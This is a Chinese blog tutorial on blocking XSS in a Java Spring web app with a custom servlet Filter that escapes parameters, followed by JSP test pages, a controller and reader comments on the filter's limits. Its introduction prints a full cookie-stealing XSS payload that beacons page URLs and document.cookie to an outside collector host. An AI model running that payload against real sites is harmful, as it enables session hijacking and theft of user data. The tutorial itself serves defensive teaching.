一 简介
如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:
form表单中有这么一个字段:
1 | <input type="text" id="author" name="author" placeholder="昵称" /> |
然后潜在攻击者在该字段上填入以下内容:
1 | <script>alert('XSS')</script> |
紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:
当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。
比如说远程加载这么一个js将会导致用户的cookie被窃取:
1 2 | (function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; |
然后将可以在自己搭建的XSS平台中收到信息,比如像这样:
注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白
当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:
不过,我发现我使用的IE10和最新版的Firefox都没有进行此项过滤,不得不说是个遗憾
注:我这里只是测试了猎豹、360、IE10以及火狐这四款浏览器,其他的没测试,因此不敢妄加评论
二 使用Filter过滤容易引发XSS的危险字符
(1)自定义一个过滤用的Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | package cn.zifangsky.filter; import java.io.IOException; import java.util.Enumeration; import java.util.Map; import java.util.Vector; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import javax.servlet.http.HttpServletResponse; import org.apache.commons.lang3.StringEscapeUtils; import org.apache.commons.lang3.StringUtils; import org.springframework.web.filter.OncePerRequestFilter; public class XSSFilter extends OncePerRequestFilter { private String exclude = null; //不需要过滤的路径集合 private Pattern pattern = null; //匹配不需要过滤路径的正则表达式 public void setExclude(String exclude) { this.exclude = exclude; pattern = Pattern.compile(getRegStr(exclude)); } /** * XSS过滤 */ protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String requestURI = request.getRequestURI(); if(StringUtils.isNotBlank(requestURI)) requestURI = requestURI.replace(request.getContextPath(),""); if(pattern.matcher(requestURI).matches()) filterChain.doFilter(request, response); else{ EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request); filterChain.doFilter(escapeScriptwrapper, response); } } /** * 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则 * @param str 不需要过滤的路径集合 * @return 正则表达式规则 * */ private String getRegStr(String str){ if(StringUtils.isNotBlank(str)){ String[] excludes = str.split(";"); //以分号进行分割 int length = excludes.length; for(int i=0;i<length;i++){ String tmpExclude = excludes[i]; //对点、反斜杠和星号进行转义 tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*"); tmpExclude = "^" + tmpExclude + "$"; excludes[i] = tmpExclude; } return StringUtils.join(excludes, "|"); } return str; } /** * 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的 * */ private class EscapeScriptwrapper extends HttpServletRequestWrapper{ private Map<String, String[]> parameterMap; //所有参数的Map集合 public EscapeScriptwrapper(HttpServletRequest request) { super(request); parameterMap = request.getParameterMap(); } //重写几个HttpServletRequestWrapper中的方法 /** * 获取所有参数名 * @return 返回所有参数名 * */ @Override public Enumeration<String> getParameterNames() { Vector<String> vector = new Vector<String>(parameterMap.keySet()); return vector.elements(); } /** * 获取指定参数名的值,如果有重复的参数名,则返回第一个的值 * 接收一般变量 ,如text类型 * * @param name 指定参数名 * @return 指定参数名的值 * */ @Override public String getParameter(String name) { String[] results = parameterMap.get(name); if(results == null || results.length <= 0) return null; else{ return escapeXSS(results[0]); } } /** * 获取指定参数名的所有值的数组,如:checkbox的所有数据 * 接收数组变量 ,如checkobx类型 * */ @Override public String[] getParameterValues(String name) { String[] results = parameterMap.get(name); if(results == null || results.length <= 0) return null; else{ int length = results.length; for(int i=0;i<length;i++){ results[i] = escapeXSS(results[i]); } return results; } } /** * 过滤字符串中的js脚本 * 解码:StringEscapeUtils.unescapeXml(escapedStr) * */ private String escapeXSS(String str){ str = StringEscapeUtils.escapeXml(str); Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]"); Matcher tmpMatcher = tmpPattern.matcher(str); if(tmpMatcher.find()){ str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\"); } return str; } } } |
(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <filter> <filter-name>xssFilter</filter-name> <filter-class>cn.zifangsky.filter.XSSFilter</filter-class> <init-param> <param-name>exclude</param-name> <param-value>/;/scripts/*;/styles/*;/images/*</param-value> </init-param> </filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>*.html</url-pattern> <!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 --> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> |
关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:
i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤
ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html
iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html
iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# onerror=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作
(3)两个测试的前台页面:
i)form表单页面input.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <base href="<%=basePath%>"> <title>FilterDemo</title> </head> <body> <div align="center"> Please input you want to say: <form action="show.html" method="post"> <table> <tr> <td><input type="text" id="author" name="author" placeholder="昵称" /></td> </tr> <tr> <td><input type="text" id="email" name="email" placeholder="邮箱" /></td> </tr> <tr> <td><input type="text" id="url" name="url"placeholder="网址"></td> </tr> <tr> <td><textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"></textarea></td> </tr> <tr> <td align="center"><input type="submit" value="Go" /> </tr> </table> </form> </div> </body> </html> |
ii)结果显示页面show.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <base href="<%=basePath%>"> <title>FilterDemo</title> </head> <body> <div align="center"> <table> <tr> <td>昵称:</td><td>${author}</td> </tr> <tr> <td>邮箱:</td><td>${email}</td> </tr> <tr> <td>网址:</td><td>${url}</td> </tr> <tr> <td>留言:</td><td>${comment}</td> </tr> <!-- <tr> <td><img alt="x" src=${comment}></td> </tr> --> </table> </div> </body> </html> |
(4)测试用的Controller:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | package cn.zifangsky.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.servlet.ModelAndView; @Controller public class CommentController { /** * 获取留言并在页面展示 * */ @RequestMapping("/show.html") public ModelAndView showComment(@RequestParam(name = "author", required = true) String author, @RequestParam(name = "email", required = false) String email, @RequestParam(name = "url", required = false) String url, @RequestParam(name = "comment", required = false) String comment) { ModelAndView mAndView = new ModelAndView("show"); mAndView.addObject("author", author); mAndView.addObject("email", email); mAndView.addObject("url", url); mAndView.addObject("comment", comment); return mAndView; } } |
这里的代码逻辑很简单,因此就不多做解释了
(5)测试:
测试的效果如下:
对应的网页源代码是这样的:
可以看出,我们的目标已经成功实现了,本篇文章到此结束
世纪末 2018/05/26 12:14
这种吃力不讨好的通杀方案,很容易造成正常请求被过滤的情况,如果以后特殊情况变多,这个过滤器加判断都得加死。 你只需要处理2种情况: 1、简单字段,这种直接在添加时,加正则等类型的字段强校验 2、如果是富文本或评论这种类富文本的,这种字段存入数据库时就做html编码,也就是你说的escapeHtml,输出时正常输出即可。(看一下常见的评论插件实现方案就知道了,eg:多说等)
admin 博主 2018/05/28 08:55
@ 的确,实际情况下安全性和实用性需要谨慎权衡,以达到某种平衡。
strawbingo 2017/01/24 14:50
zifang,请教一个问题。 该种过滤方式会过滤所有字符串。 现在加入前台通过form方式提交,字段值实际为一段json串。如果这样过滤的话,解析json串就会出现问题。 请问如何处理这样的问题?在只修改filter,不影响其他代码的前提下。 谢谢。
admin 博主 2017/01/24 20:39
@ 你这个问题就需要在filter里面的具体过滤规则那里(PS:escapeXSS())写得稍微复杂一点了,为了不影响json解析你可以不对单双引号进行转义,但是需要对其他一些敏感字符进行转义,如:<、>、src、scripts、insert、execute、select、update、and、or、onerror等等
strawbingo 2017/01/25 16:13
@ 多谢回复。 之前尝试过这个方法,但是在调试过程中发现有些时候json串会变化,就没敢使用。 后来定位到其实不是XSS转换的问题。 如第一次前台传递list:[{"createTime":1484113041000,"creator":"400768","flag":1,后台打印显示{"list":["[{\"createTime\":1484113041000,\"creator\":\"400768\",\"flag\":1,。 后台断点,前台超时,页面不关闭,再次点击按钮请求。 此时前台传递变为list:"[{\"createTime\":1484113041000,\"creator\":\"400768\",\"flag\":1,后台打印显示["\"[{\\\"createTime\\\":1484113041000,\\\"creator\\\":\\\"400768\\\",\\\"flag\\\":1。 这是进行转换会报json格式错误。 最终使用方案,传入参数不处理,返回给前台的数据统一进行 StringEscapeUtils.escapeHtml(returnString);转码。